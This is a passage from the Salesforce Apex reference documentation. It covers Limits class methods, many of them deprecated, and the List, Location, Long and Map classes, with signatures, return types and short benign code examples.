getLimitFieldsDescribes()
Deprecated. Returns the maximum number of field describe calls that can be made.

Signature
public static Integer getLimitFieldsDescribes()

Return Value
Type: Integer

Usage
Note: Because describe limits are no longer enforced in any API version, this method is no longer available. In API version 30.0
and earlier, this method is available but is deprecated.

getFieldSetsDescribes()
Deprecated. Returns the number of field set describe calls that have been made.

Signature
public static Integer getFieldSetsDescribes()

Return Value
Type: Integer

Usage
Note: Because describe limits are no longer enforced in any API version, this method is no longer available. In API version 30.0
and earlier, this method is available but is deprecated.

getLimitFieldSetsDescribes()
Deprecated. Returns the maximum number of field set describe calls that can be made.

Signature
public static Integer getLimitFieldSetsDescribes()

Return Value
Type: Integer

Usage
Note: Because describe limits are no longer enforced in any API version, this method is no longer available. In API version 30.0
and earlier, this method is available but is deprecated.

2173

Reference

Limits Class

getFindSimilarCalls()
Deprecated. Returns the same value as getSoslQueries. The number of findSimilar methods is no longer a separate limit,
but is tracked as the number of SOSL queries issued.

Signature
public static Integer getFindSimilarCalls()

Return Value
Type: Integer

getLimitFindSimilarCalls()
Deprecated. Returns the same value as getLimitSoslQueries. The number of findSimilar methods is no longer a separate
limit, but is tracked as the number of SOSL queries issued.

Signature
public static Integer getLimitFindSimilarCalls()

Return Value
Type: Integer

getFutureCalls()
Returns the number of methods with the future annotation that have been executed (not necessarily completed).

Signature
public static Integer getFutureCalls()

Return Value
Type: Integer

getLimitFutureCalls()
Returns the total number of methods with the future annotation that can be executed (not necessarily completed).

Signature
public static Integer getLimitFutureCalls()

Return Value
Type: Integer

2174

Reference

Limits Class

getHeapSize()
Returns the approximate amount of memory (in bytes) that has been used for the heap.

Signature
public static Integer getHeapSize()

Return Value
Type: Integer

getLimitHeapSize()
Returns the total amount of memory (in bytes) that can be used for the heap.

Signature
public static Integer getLimitHeapSize()

Return Value
Type: Integer

getMobilePushApexCalls()
Returns the number of Apex calls that have been used by mobile push notifications during the current metering interval.

Signature
public static Integer getMobilePushApexCalls()

Return Value
Type:Integer

getLimitMobilePushApexCalls()
Returns the total number of Apex calls that are allowed per transaction for mobile push notifications.

Signature
public static Integer getLimitMobilePushApexCalls()

Return Value
Type:Integer

getPicklistDescribes()
Deprecated. Returns the number of PicklistEntry objects that have been returned.

2175

Reference

Limits Class

Signature
public static Integer getPicklistDescribes()

Return Value
Type: Integer

Usage
Note: Because describe limits are no longer enforced in any API version, this method is no longer available. In API version 30.0
and earlier, this method is available but is deprecated.

getLimitPicklistDescribes()
Deprecated. Returns the maximum number of PicklistEntry objects that can be returned.

Signature
public static Integer getLimitPicklistDescribes()

Return Value
Type: Integer

Usage
Note: Because describe limits are no longer enforced in any API version, this method is no longer available. In API version 30.0
and earlier, this method is available but is deprecated.

getQueries()
Returns the number of SOQL queries that have been issued.

Signature
public static Integer getQueries()

Return Value
Type: Integer

getLimitQueries()
Returns the total number of SOQL queries that can be issued.

Signature
public static Integer getLimitQueries()

2176

Reference

Limits Class

Return Value
Type: Integer

getQueryLocatorRows()
Returns the number of records that have been returned by the Database.getQueryLocator method.

Signature
public static Integer getQueryLocatorRows()

Return Value
Type: Integer

getLimitQueryLocatorRows()
Returns the total number of records that have been returned by the Database.getQueryLocator method.

Signature
public static Integer getLimitQueryLocatorRows()

Return Value
Type: Integer

getQueryRows()
Returns the number of records that have been returned by issuing SOQL queries.

Signature
public static Integer getQueryRows()

Return Value
Type: Integer

getLimitQueryRows()
Returns the total number of records that can be returned by issuing SOQL queries.

Signature
public static Integer getLimitQueryRows()

Return Value
Type: Integer

2177

Reference

Limits Class

getQueueableJobs()
Returns the number of queueable jobs that have been added to the queue per transaction. A queueable job corresponds to a class that
implements the Queueable interface.

Signature
public static Integer getQueueableJobs()

Return Value
Type: Integer

getLimitQueueableJobs()
Returns the maximum number of queueable jobs that can be added to the queue per transaction. A queueable job corresponds to a
class that implements the Queueable interface.

Signature
public static Integer getLimitQueueableJobs()

Return Value
Type: Integer

getRecordTypesDescribes()
Deprecated. Returns the number of RecordTypeInfo objects that have been returned.

Signature
public static Integer getRecordTypesDescribes()

Return Value
Type: Integer

Usage
Note: Because describe limits are no longer enforced in any API version, this method is no longer available. In API version 30.0
and earlier, this method is available but is deprecated.

getLimitRecordTypesDescribes()
Deprecated. Returns the maximum number of RecordTypeInfo objects that can be returned.

Signature
public static Integer getLimitRecordTypesDescribes()

2178

Reference

Limits Class

Return Value
Type: Integer

Usage
Note: Because describe limits are no longer enforced in any API version, this method is no longer available. In API version 30.0
and earlier, this method is available but is deprecated.

getRunAs()
Deprecated. Returns the same value as getDMLStatements.

Signature
public static Integer getRunAs()

Return Value
Type: Integer

Usage
The number of RunAs methods is no longer a separate limit, but is tracked as the number of DML statements issued.

getLimitRunAs()
Deprecated. Returns the same value as getLimitDMLStatements.

Signature
public static Integer getLimitRunAs()

Return Value
Type: Integer

Usage
The number of RunAs methods is no longer a separate limit, but is tracked as the number of DML statements issued.

getSavepointRollbacks()
Deprecated. Returns the same value as getDMLStatements.

Signature
public static Integer getSavepointRollbacks()

2179

Reference

Limits Class

Return Value
Type: Integer

Usage
The number of Rollback methods is no longer a separate limit, but is tracked as the number of DML statements issued.

getLimitSavepointRollbacks()
Deprecated. Returns the same value as getLimitDMLStatements.

Signature
public static Integer getLimitSavepointRollbacks()

Return Value
Type: Integer

Usage
The number of Rollback methods is no longer a separate limit, but is tracked as the number of DML statements issued.

getSavepoints()
Deprecated. Returns the same value as getDMLStatements.

Signature
public static Integer getSavepoints()

Return Value
Type: Integer

Usage
The number of setSavepoint methods is no longer a separate limit, but is tracked as the number of DML statements issued.

getLimitSavepoints()
Deprecated. Returns the same value as getLimitDMLStatements.

Signature
public static Integer getLimitSavepoints()

Return Value
Type: Integer

2180

Reference

Limits Class

Usage
The number of setSavepoint methods is no longer a separate limit, but is tracked as the number of DML statements issued.

getScriptStatements()
Deprecated. Returns a value that is based on CPU time usage and that is an approximation of script statement usage.

Signature
public static Integer getScriptStatements()

Return Value
Type: Integer

Usage
Note: Because the script statement limit is no longer enforced in any API version, this method is no longer available. Call
getCpuTime() instead. In API version 30.0 and earlier, this method is still available but is deprecated and returns only an
approximation of statement usage. The formula that is used to compute the return value is based on the ratio of CPU time that is
used toward your transactions CPU timeout limit.

getLimitScriptStatements()
Deprecated. Returns the maximum number of Apex statements that can execute.

Signature
public static Integer getLimitScriptStatements()

Return Value
Type: Integer

Usage
Note: Because the script statement limit is no longer enforced in any API version, this method is no longer available. In API version
30.0 and earlier, this method is still available but is deprecated. Call getLimitCpuTime() instead.

getSoslQueries()
Returns the number of SOSL queries that have been issued.

Signature
public static Integer getSoslQueries()

Return Value
Type: Integer

2181

Reference

List Class

getLimitSoslQueries()
Returns the total number of SOSL queries that can be issued.

Signature
public static Integer getLimitSoslQueries()

Return Value
Type: Integer

List Class
Contains methods for the List collection type.

Namespace
System

Usage
The list methods are all instance methods, that is, they operate on a particular instance of a list. For example, the following removes all
elements from myList:
myList.clear();

Even though the clear method does not include any parameters, the list that calls it is its implicit parameter.
For more information on lists, see Lists on page 30.
IN THIS SECTION:
List Constructors
List Methods

List Constructors
The following are constructors for List.
IN THIS SECTION:
List<T>()
Creates a new instance of the List class. A list can hold elements of any data type T.
List<T>(listToCopy)
Creates a new instance of the List class by copying the elements from the specified list. T is the data type of the elements in both
lists and can be any data type.
List<T>(setToCopy)
Creates a new instance of the List class by copying the elements from the specified set. T is the data type of the elements in the
set and list and can be any data type.

2182

Reference

List Class

List<T>()
Creates a new instance of the List class. A list can hold elements of any data type T.

Signature
public List<T>()

Example
// Create a list
List<Integer> ls1 = new List<Integer>();
// Add two integers to the list
ls1.add(1);
ls1.add(2);

List<T>(listToCopy)
Creates a new instance of the List class by copying the elements from the specified list. T is the data type of the elements in both
lists and can be any data type.

Signature
public List<T>(List<T> listToCopy)

Parameters
listToCopy

Type: List<T>
The list containing the elements to initialize this list from. T is the data type of the list elements.

Example
List<Integer> ls1 = new List<Integer>();
ls1.add(1);
ls1.add(2);
// Create a list based on an existing one
List<Integer> ls2 = new List<Integer>(ls1);
// ls2 elements are copied from ls1
System.debug(ls2);// DEBUG|(1, 2)

List<T>(setToCopy)
Creates a new instance of the List class by copying the elements from the specified set. T is the data type of the elements in the set
and list and can be any data type.

Signature
public List<T>(Set<T> setToCopy)

2183

Reference

List Class

Parameters
setToCopy
Type: Set<T>
The set containing the elements to initialize this list with. T is the data type of the set elements.

Example
Set<Integer> s1 = new Set<Integer>();
s1.add(1);
s1.add(2);
// Create a list based on a set
List<Integer> ls = new List<Integer>(s1);
// ls elements are copied from s1
System.debug(ls);// DEBUG|(1, 2)

List Methods
The following are methods for List. All are instance methods.
IN THIS SECTION:
add(listElement)
Adds an element to the end of the list.
add(index, listElement)
Inserts an element into the list at the specified index position.
addAll(fromList)
Adds all of the elements in the specified list to the list that calls the method. Both lists must be of the same type.
addAll(fromSet)
Add all of the elements in specified set to the list that calls the method. The set and the list must be of the same type.
clear()
Removes all elements from a list, consequently setting the list's length to zero.
clone()
Makes a duplicate copy of a list.
deepClone(preserveId, preserveReadonlyTimestamps, preserveAutonumber)
Makes a duplicate copy of a list of sObject records, including the sObject records themselves.
equals(list2)
Compares this list with the specified list and returns true if both lists are equal; otherwise, returns false.
get(index)
Returns the list element stored at the specified index.
getSObjectType()
Returns the token of the sObject type that makes up a list of sObjects.
hashCode()
Returns the hashcode corresponding to this list and its contents.

2184

Reference

List Class

isEmpty()
Returns true if the list has zero elements.
iterator()
Returns an instance of an iterator for this list.
remove(index)
Removes the list element stored at the specified index, returning the element that was removed.
set(index, listElement)
Sets the specified value for the element at the given index.
size()
Returns the number of elements in the list.
sort()
Sorts the items in the list in ascending order.

add(listElement)
Adds an element to the end of the list.

Signature
public Void add(Object listElement)

Parameters
listElement

Type: Object

Return Value
Type: Void

Example
List<Integer> myList = new List<Integer>();
myList.add(47);
Integer myNumber = myList.get(0);
system.assertEquals(47, myNumber);

add(index, listElement)
Inserts an element into the list at the specified index position.

Signature
public Void add(Integer index, Object listElement)

2185

Reference

List Class

Parameters
index

Type: Integer
listElement

Type: Object

Return Value
Type: Void

Example
In the following example, a list with six elements is created, and integers are added to the first and second index positions.
List<Integer> myList = new Integer[6];
myList.add(0, 47);
myList.add(1, 52);
system.assertEquals(52, myList.get(1));

addAll(fromList)
Adds all of the elements in the specified list to the list that calls the method. Both lists must be of the same type.

Signature
public Void addAll(List fromList)

Parameters
fromList

Type: List

Return Value
Type: Void

addAll(fromSet)
Add all of the elements in specified set to the list that calls the method. The set and the list must be of the same type.

Signature
public Void addAll(Set fromSet)

Parameters
fromSet

Type: Set

2186

Reference

List Class

Return Value
Type: Void

clear()
Removes all elements from a list, consequently setting the list's length to zero.

Signature
public Void clear()

Return Value
Type: Void

clone()
Makes a duplicate copy of a list.

Signature
public List<Object> clone()

Return Value
Type: List<Object>

Usage
The cloned list is of the same type as the current list.
Note that if this is a list of sObject records, the duplicate list will only be a shallow copy of the list. That is, the duplicate will have references
to each object, but the sObject records themselves will not be duplicated. For example:
To also copy the sObject records, you must use the deepClone method.

Example
Account a = new Account(Name='Acme', BillingCity='New York');
Account b = new Account();
Account[] q1 = new Account[]{a,b};
Account[] q2 = q1.clone();
q1[0].BillingCity = 'San Francisco';
System.assertEquals(
'San Francisco',
q1[0].BillingCity);
System.assertEquals(
'San Francisco',
q2[0].BillingCity);

2187

Reference

List Class

deepClone(preserveId, preserveReadonlyTimestamps, preserveAutonumber)

Makes a duplicate copy of a list of sObject records, including the sObject records themselves.

Signature
public List<Object> deepClone(Boolean preserveId, Boolean preserveReadonlyTimestamps,
Boolean preserveAutonumber)

Parameters
preserveId

Type: Boolean
The optional preserveId argument determines whether the IDs of the original objects are preserved or cleared in the duplicates.
If set to true, the IDs are copied to the cloned objects. The default is false, that is, the IDs are cleared.
preserveReadonlyTimestamps

Type: Boolean
The optional preserveReadonlyTimestamps argument determines whether the read-only timestamp and user ID fields
are preserved or cleared in the duplicates. If set to true, the read-only fields CreatedById, CreatedDate,
LastModifiedById, and LastModifiedDate are copied to the cloned objects. The default is false, that is, the values
are cleared.
preserveAutonumber

Type: Boolean
The optional preserveAutonumber argument determines whether the autonumber fields of the original objects are preserved
or cleared in the duplicates. If set to true, auto number fields are copied to the cloned objects. The default is false, that is, auto
number fields are cleared.

Return Value
Type: List<Object>

Usage
The returned list is of the same type as the current list.
Note:
deepClone only works with lists of sObjects, not with lists of primitives.
For Apex saved using SalesforceAPI version 22.0 or earlier, the default value for the preserve_id argument is true, that
is, the IDs are preserved.
To make a shallow copy of a list without duplicating the sObject records it contains, use the clone method.

Example
This example performs a deep clone for a list with two accounts.
Account a = new Account(Name='Acme', BillingCity='New York');
Account b = new Account(Name='Salesforce');

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Reference

List Class

Account[] q1 = new Account[]{a,b};

Account[] q2 = q1.deepClone();
q1[0].BillingCity = 'San Francisco';
System.assertEquals(
'San Francisco',
q1[0].BillingCity);
System.assertEquals(
'New York',
q2[0].BillingCity);

This example is based on the previous example and shows how to clone a list with preserved read-only timestamp and user ID fields.
insert q1;
List<Account> accts = [SELECT CreatedById, CreatedDate, LastModifiedById,
LastModifiedDate, BillingCity
FROM Account
WHERE Name='Acme' OR Name='Salesforce'];
// Clone list while preserving timestamp and user ID fields.
Account[] q3 = accts.deepClone(false,true,false);
// Verify timestamp fields are preserved for the first list element.
System.assertEquals(
accts[0].CreatedById,
q3[0].CreatedById);
System.assertEquals(
accts[0].CreatedDate,
q3[0].CreatedDate);
System.assertEquals(
accts[0].LastModifiedById,
q3[0].LastModifiedById);
System.assertEquals(
accts[0].LastModifiedDate,
q3[0].LastModifiedDate);

equals(list2)
Compares this list with the specified list and returns true if both lists are equal; otherwise, returns false.

Signature
public Boolean equals(List list2)

Parameters
list2

Type: List
The list to compare this list with.

2189

Reference

List Class

Return Value
Type: Boolean

Usage
Two lists are equal if their elements are equal and are in the same order. The == operator is used to compare the elements of the lists.
The == operator is equivalent to calling the equals method, so you can call list1.equals(list2); instead of list1 ==
list2;.

get(index)
Returns the list element stored at the specified index.

Signature
public Object get(Integer index)

Parameters
index

Type: Integer

Return Value
Type: Object

Usage
To reference an element of a one-dimensional list of primitives or sObjects, you can also follow the name of the list with the element's
index position in square brackets as shown in the example.

Example
List<Integer> myList = new List<Integer>();
myList.add(47);
Integer myNumber = myList.get(0);
system.assertEquals(47, myNumber);
List<String> colors = new String[3];
colors[0] = 'Red';
colors[1] = 'Blue';
colors[2] = 'Green';

getSObjectType()
Returns the token of the sObject type that makes up a list of sObjects.

Signature
public Schema.SObjectType getSObjectType()

2190

Reference

List Class

Return Value
Type: Schema.SObjectType

Usage
Use this method with describe information to determine if a list contains sObjects of a particular type.
Note that this method can only be used with lists that are composed of sObjects.
For more information, see Understanding Apex Describe Information on page 166.

Example
// Create a generic sObject variable.
SObject sObj = Database.query('SELECT Id FROM Account LIMIT 1');
// Verify if that sObject variable is an Account token.
System.assertEquals(
Account.sObjectType,
sObj.getSObjectType());
// Create a list of generic sObjects.
List<sObject> q = new Account[]{};
// Verify if the list of sObjects
// contains Account tokens.
System.assertEquals(
Account.sObjectType,
q.getSObjectType());

hashCode()
Returns the hashcode corresponding to this list and its contents.

Signature
public Integer hashCode()

Return Value
Type: Integer

isEmpty()
Returns true if the list has zero elements.

Signature
public Boolean isEmpty()

2191

Reference

List Class

Return Value
Type: Boolean

iterator()
Returns an instance of an iterator for this list.

Signature
public Iterator iterator()

Return Value
Type: Iterator

Usage
From the returned iterator, you can use the iterable methods hasNext and next to iterate through the list.
Note: You do not have to implement the iterable interface to use the iterable methods with a list.
See Custom Iterators.

Example
global class CustomIterable
implements Iterator<Account>{
List<Account> accs {get; set;}
Integer i {get; set;}
public CustomIterable(){
accs =
[SELECT Id, Name,
NumberOfEmployees
FROM Account
WHERE Name = 'false'];
i = 0;
}
global boolean hasNext(){
if(i >= accs.size()) {
return false;
} else {
return true;
}
}
global
//
//
//
//

Account next(){
8 is an arbitrary
constant in this example
that represents the
maximum size of the list.

2192

Reference

List Class

if(i == 8){return null;}

i++;
return accs[i-1];
}
}

remove(index)
Removes the list element stored at the specified index, returning the element that was removed.

Signature
public Object remove(Integer index)

Parameters
index

Type: Integer

Return Value
Type: Object

Example
List<String> colors = new String[3];
colors[0] = 'Red';
colors[1] = 'Blue';
colors[2] = 'Green';
String s1 = colors.remove(2);
system.assertEquals('Green', s1);

set(index, listElement)
Sets the specified value for the element at the given index.

Signature
public Void set(Integer index, Object listElement)

Parameters
index

Type: Integer
The index of the list element to set.
listElement

Type: Object
The value of the list element to set.

2193

Reference

List Class

Return Value
Type: Void

Usage
To set an element of a one-dimensional list of primitives or sObjects, you can also follow the name of the list with the element's index
position in square brackets.

Example
List<Integer> myList = new Integer[6];
myList.set(0, 47);
myList.set(1, 52);
system.assertEquals(52, myList.get(1));
List<String> colors = new String[3];
colors[0] = 'Red';
colors[1] = 'Blue';
colors[2] = 'Green';

size()
Returns the number of elements in the list.

Signature
public Integer size()

Return Value
Type: Integer

Example
List<Integer> myList = new List<Integer>();
Integer size = myList.size();
system.assertEquals(0, size);
List<Integer> myList2 = new Integer[6];
Integer size2 = myList2.size();
system.assertEquals(6, size2);

sort()
Sorts the items in the list in ascending order.

Signature
public Void sort()

2194

Reference

Location Class

Return Value
Type: Void

Usage
Using this method, you can sort primitive types, SelectOption elements, and sObjects (standard objects and custom objects). For more
information on the sort order used for sObjects, see Sorting Lists of sObjects. You can also sort custom types (your Apex classes) if they
implement the Comparable Interface interface.
When you use sort() methods on List<Id>s that contain both 15-character and 18-character IDs, IDs for the same record sort
together in API version 35.0 and later.

Example
In the following example, the list has three elements. When the list is sorted, the first element is null because it has no value assigned
while the second element has the value of 5.
List<Integer> q1 = new Integer[3];
// Assign values to the first two elements.
q1[0] = 10;
q1[1] = 5;
q1.sort();
// First element is null, second is 5.
system.assertEquals(5, q1.get(1));

Location Class
Contains methods for accessing the component fields of geolocation compound fields.

Namespace
system

Usage
Each of these methods is also equivalent to a read-only property. For each getter method you can access the property using dot notation.
For example, myLocation.getLatitude() is equivalent to myLocation.latitude.
You cant use dot notation to access compound fields subfields directly on the parent field. Instead, assign the parent field to a variable
of type Location, and then access its components.
Location loc = myAccount.MyLocation__c;
Double lat = loc.latitude;

Example
// Select and access the Location field. MyLocation__c is the name of a geolocation field
on Account.

2195

Reference

Location Class

Account[] records = [SELECT id, MyLocation__c FROM Account LIMIT 10];

for(Account acct : records) {
Location loc = acct.MyLocation__c;
Double lat = loc.latitude;
Double lon = loc.longitude;
}
// Instantiate new Location objects and compute the distance between them in different
ways.
Location loc1 = Location.newInstance(28.635308,77.22496);
Location loc2 = Location.newInstance(37.7749295,-122.4194155);
Double dist = Location.getDistance(loc1, loc2, 'mi');
Double dist2 = loc1.getDistance(loc2, 'mi');

IN THIS SECTION:
Location Methods

Location Methods
The following are methods for Location.
IN THIS SECTION:
getDistance(toLocation, unit)
Calculates the distance between this location and the specified location, using an approximation of the haversine formula and the
specified unit.
getDistance(firstLocation, secondLocation, unit)
Calculates the distance between the two specified locations, using an approximation of the haversine formula and the specified
unit.
getLatitude()
Returns the latitude field of this location.
getLongitude()
Returns the longitude field of this location.
newInstance(latitude, longitude)
Creates an instance of the Location class, with the specified latitude and longitude.

getDistance(toLocation, unit)
Calculates the distance between this location and the specified location, using an approximation of the haversine formula and the
specified unit.

Signature
public Double getDistance(Location toLocation, String unit)

2196

Reference

Location Class

Parameters
toLocation

Type: Location
The Location to which you want to calculate the distance from the current Location.
unit

Type: String
The distance unit you want to use: mi or km.

Return Value
Type: Double

getDistance(firstLocation, secondLocation, unit)

Calculates the distance between the two specified locations, using an approximation of the haversine formula and the specified unit.

Signature
public static Double getDistance(Location firstLocation, Location secondLocation, String
unit)

Parameters
firstLocation

Type: Location
The first of two locations used to calculate distance.
secondLocation

Type: Location
The second of two locations used to calculate distance.
unit

Type: String
The distance unit you want to use: mi or km.

Return Value
Type: Double

getLatitude()
Returns the latitude field of this location.

Signature
public Double getLatitude()

2197

Reference

Long Class

Return Value
Type: Double

getLongitude()
Returns the longitude field of this location.

Signature
public Double getLongitude()

Return Value
Type: Double

newInstance(latitude, longitude)
Creates an instance of the Location class, with the specified latitude and longitude.

Signature
public static Location newInstance(Decimal latitude, Decimal longitude)

Parameters
latitude

Type: Decimal
longitude

Type: Decimal

Return Value
Type: Location

Long Class
Contains methods for the Long primitive data type.

Namespace
System

Usage
For more information on Long, see Primitive Data Types on page 27.

Long Methods
The following are methods for Long.

2198

Reference

Long Class

IN THIS SECTION:
format()
Returns the String format for this Long using the locale of the context user.
intValue()
Returns the Integer value for this Long.
valueOf(stringToLong)
Returns a Long that contains the value of the specified String. As in Java, the string is interpreted as representing a signed decimal
Long.

format()
Returns the String format for this Long using the locale of the context user.

Signature
public String format()

Return Value
Type: String

Example
Long myLong = 4271990;
system.assertEquals('4,271,990', myLong.format());

intValue()
Returns the Integer value for this Long.

Signature
public Integer intValue()

Return Value
Type: Integer

Example
Long myLong = 7191991;
Integer value = myLong.intValue();
system.assertEquals(7191991, myLong.intValue());

valueOf(stringToLong)
Returns a Long that contains the value of the specified String. As in Java, the string is interpreted as representing a signed decimal Long.

2199

Reference

Map Class

Signature
public static Long valueOf(String stringToLong)

Parameters
stringToLong

Type: String

Return Value
Type: Long

Example
Long L1 = long.valueOf('123456789');

Map Class
Contains methods for the Map collection type.

Namespace
System

Usage
The Map methods are all instance methods, that is, they operate on a particular instance of a map. The following are the instance methods
for maps.
Note:
Map keys and values can be of any data typeprimitive types, collections, sObjects, user-defined types, and built-in Apex
types.
Uniqueness of map keys of user-defined types is determined by the equals and hashCode methods, which you provide
in your classes. Uniqueness of keys of all other non-primitive types, such as sObject keys, is determined by comparing the
objects field values.
Map keys of type String are case-sensitive. Two keys that differ only by the case are considered unique and have corresponding
distinct Map entries. Subsequently, the Map methods, including put, get, containsKey, and remove treat these keys
as distinct.
For more information on maps, see Maps on page 33.
IN THIS SECTION:
Map Constructors
Map Methods

2200

Reference

Map Class

Map Constructors
The following are constructors for Map.
IN THIS SECTION:
Map<T1,T2>()
Creates a new instance of the Map class. T1 is the data type of the keys and T2 is the data type of the values.
Map<T1,T2>(mapToCopy)
Creates a new instance of the Map class and initializes it by copying the entries from the specified map. T1 is the data type of the
keys and T2 is the data type of the values.
Map<ID,sObject>(recordList)
Creates a new instance of the Map class and populates it with the passed-in list of sObject records. The keys are populated with
the sObject IDs and the values are the sObjects.

Map<T1,T2>()
Creates a new instance of the Map class. T1 is the data type of the keys and T2 is the data type of the values.

Signature
public Map<T1,T2>()

Example
Map<Integer, String> m1 = new Map<Integer, String>();
m1.put(1, 'First item');
m1.put(2, 'Second item');

Map<T1,T2>(mapToCopy)
Creates a new instance of the Map class and initializes it by copying the entries from the specified map. T1 is the data type of the keys
and T2 is the data type of the values.

Signature
public Map<T1,T2>(Map<T1,T2> mapToCopy)

Parameters
mapToCopy

Type: Map<T1, T2>

The map to initialize this map with. T1 is the data type of the keys and T2 is the data type of the values. All map keys and values are
copied to this map.

Example
Map<Integer, String> m1 = new Map<Integer, String>();
m1.put(1, 'First item');

2201

Reference

Map Class

m1.put(2, 'Second item');

Map<Integer, String> m2 = new Map<Integer, String>(m1);
// The map elements of m2 are copied from m1
System.debug(m2);

Map<ID,sObject>(recordList)
Creates a new instance of the Map class and populates it with the passed-in list of sObject records. The keys are populated with the
sObject IDs and the values are the sObjects.

Signature
public Map<ID,sObject>(List<sObject> recordList)

Parameters
recordList

Type: List<sObject>
The list of sObjects to populate the map with.

Example
List<Account> ls = [select Id,Name from Account];
Map<Id, Account> m = new Map<Id, Account>(ls);

Map Methods
The following are methods for Map. All are instance methods.
IN THIS SECTION:
clear()
Removes all of the key-value mappings from the map.
clone()
Makes a duplicate copy of the map.
containsKey(key)
Returns true if the map contains a mapping for the specified key.
deepClone()
Makes a duplicate copy of a map, including sObject records if this is a map with sObject record values.
equals(map2)
Compares this map with the specified map and returns true if both maps are equal; otherwise, returns false.
get(key)
Returns the value to which the specified key is mapped, or null if the map contains no value for this key.
getSObjectType()
Returns the token of the sObject type that makes up the map values.

2202

Reference

Map Class

hashCode()
Returns the hashcode corresponding to this map.
isEmpty()
Returns true if the map has zero key-value pairs.
keySet()
Returns a set that contains all of the keys in the map.
put(key, value)
Associates the specified value with the specified key in the map.
putAll(fromMap)
Copies all of the mappings from the specified map to the original map.
putAll(sobjectArray)
Adds the list of sObject records to a map declared as Map<ID, sObject> or Map<String, sObject>.
remove(key)
Removes the mapping for the specified key from the map, if present, and returns the corresponding value.
size()
Returns the number of key-value pairs in the map.
values()
Returns a list that contains all the values in the map.

clear()
Removes all of the key-value mappings from the map.

Signature
public Void clear()

Return Value
Type: Void

clone()
Makes a duplicate copy of the map.

Signature
public Map<Object, Object> clone()

Return Value
Type: Map (of same type)

2203

Reference

Map Class

Usage
If this is a map with sObject record values, the duplicate map will only be a shallow copy of the map. That is, the duplicate will have
references to each sObject record, but the records themselves are not duplicated. For example:
To also copy the sObject records, you must use the deepClone method.

Example
Account a = new Account(
Name='Acme',
BillingCity='New York');
Map<Integer, Account> map1 = new Map<Integer, Account> {};
map1.put(1, a);
Map<Integer, Account> map2 = map1.clone();
map1.get(1).BillingCity =
'San Francisco';
System.assertEquals(
'San Francisco',
map1.get(1).BillingCity);
System.assertEquals(
'San Francisco',
map2.get(1).BillingCity);

containsKey(key)
Returns true if the map contains a mapping for the specified key.

Signature
public Boolean containsKey(Object key)

Parameters
key

Type: Object

Return Value
Type: Boolean

Usage
If the key is a string, the key value is case-sensitive.

Example
Map<String, String> colorCodes = new Map<String, String>();

2204

Reference

Map Class

colorCodes.put('Red', 'FF0000');
colorCodes.put('Blue', '0000A0');
Boolean contains = colorCodes.containsKey('Blue');
System.assertEquals(true, contains);

deepClone()
Makes a duplicate copy of a map, including sObject records if this is a map with sObject record values.

Signature
public Map<Object, Object> deepClone()

Return Value
Type: Map (of the same type)

Usage
To make a shallow copy of a map without duplicating the sObject records it contains, use the clone() method.

Example
Account a = new Account(
Name='Acme',
BillingCity='New York');
Map<Integer, Account> map1 = new Map<Integer, Account> {};
map1.put(1, a);
Map<Integer, Account> map2 = map1.deepClone();
// Update the first entry of map1
map1.get(1).BillingCity = 'San Francisco';
// Verify that the BillingCity is updated in map1 but not in map2
System.assertEquals('San Francisco', map1.get(1).BillingCity);
System.assertEquals('New York', map2.get(1).BillingCity);

equals(map2)
Compares this map with the specified map and returns true if both maps are equal; otherwise, returns false.

Signature
public Boolean equals(Map map2)

2205

Reference

Map Class

Parameters
map2

Type: Map
The map2 argument is the map to compare this map with.

Return Value
Type: Boolean

Usage
Two maps are equal if their key/value pairs are identical, regardless of the order of those pairs. The == operator is used to compare the
map keys and values.
The == operator is equivalent to calling the equals method, so you can call map1.equals(map2); instead of map1 ==
map2;.

get(key)
Returns the value to which the specified key is mapped, or null if the map contains no value for this key.

Signature
public Object get(Object key)

Parameters
key

Type: Object

Return Value
Type: Object

Usage
If the key is a string, the key value is case-sensitive.

Example
Map<String, String> colorCodes = new Map<String, String>();
colorCodes.put('Red', 'FF0000');
colorCodes.put('Blue', '0000A0');
String code = colorCodes.get('Blue');
System.assertEquals('0000A0', code);
// The following is not a color in the map

2206

Reference

Map Class

String code2 = colorCodes.get('Magenta');

System.assertEquals(null, code2);

getSObjectType()
Returns the token of the sObject type that makes up the map values.

Signature
public Schema.SObjectType getSObjectType()

Return Value
Type: Schema.SObjectType

Usage
Use this method with describe information, to determine if a map contains sObjects of a particular type.
Note that this method can only be used with maps that have sObject values.
For more information, see Understanding Apex Describe Information on page 166.

Example
// Create a generic sObject variable.
SObject sObj = Database.query('SELECT Id FROM Account LIMIT 1');
// Verify if that sObject variable is an Account token.
System.assertEquals(
Account.sObjectType,
sObj.getSObjectType());
// Create a map of generic sObjects
Map<Integer, Account> m = new Map<Integer, Account>();
// Verify if the map contains Account tokens.
System.assertEquals(
Account.sObjectType,
m.getSObjectType());

hashCode()
Returns the hashcode corresponding to this map.

Signature
public Integer hashCode()

Return Value
Type: Integer

2207

Reference

Map Class

isEmpty()
Returns true if the map has zero key-value pairs.

Signature
public Boolean isEmpty()

Return Value
Type: Boolean

Example
Map<String, String> colorCodes = new Map<String, String>();
Boolean empty = colorCodes.isEmpty();
System.assertEquals(true, empty);

keySet()
Returns a set that contains all of the keys in the map.

Signature
public Set<Object> keySet()

Return Value
Type: Set (of key type)

Example
Map<String, String> colorCodes = new Map<String, String>();
colorCodes.put('Red', 'FF0000');
colorCodes.put('Blue', '0000A0');
Set <String> colorSet = new Set<String>();
colorSet = colorCodes.keySet();

put(key, value)
Associates the specified value with the specified key in the map.

Signature
public Object put(Object key, Object value)

2208

Reference

Map Class

Parameters
key

Type: Object
value

Type: Object

Return Value
Type: Object

Usage
If the map previously contained a mapping for this key, the old value is returned by the method and then replaced.
If the key is a string, the key value is case-sensitive.

Example
Map<String, String> colorCodes = new Map<String, String>();
colorCodes.put('Red', 'ff0000');
colorCodes.put('Red', '#FF0000');
// Red is now #FF0000

putAll(fromMap)
Copies all of the mappings from the specified map to the original map.

Signature
public Void putAll(Map fromMap)

Parameters
fromMap

Type: Map

Return Value
Type: Void

Usage
The new mappings from fromMap replace any mappings that the original map had.

Example
Map<String, String> map1 = new Map<String, String>();
map1.put('Red','FF0000');
Map<String, String> map2 = new Map<String, String>();

2209

Reference

Map Class

map2.put('Blue','0000FF');
// Add map1 entries to map2
map2.putAll(map1);
System.assertEquals(2, map2.size());

putAll(sobjectArray)
Adds the list of sObject records to a map declared as Map<ID, sObject> or Map<String, sObject>.

Signature
public Void putAll(sObject[] sobjectArray)

Parameters
sobjectArray

Type: sObject[]

Return Value
Type: Void

Usage
This method is similar to calling the Map constructor with the same input.

Example
List<Account> accts = new List<Account>();
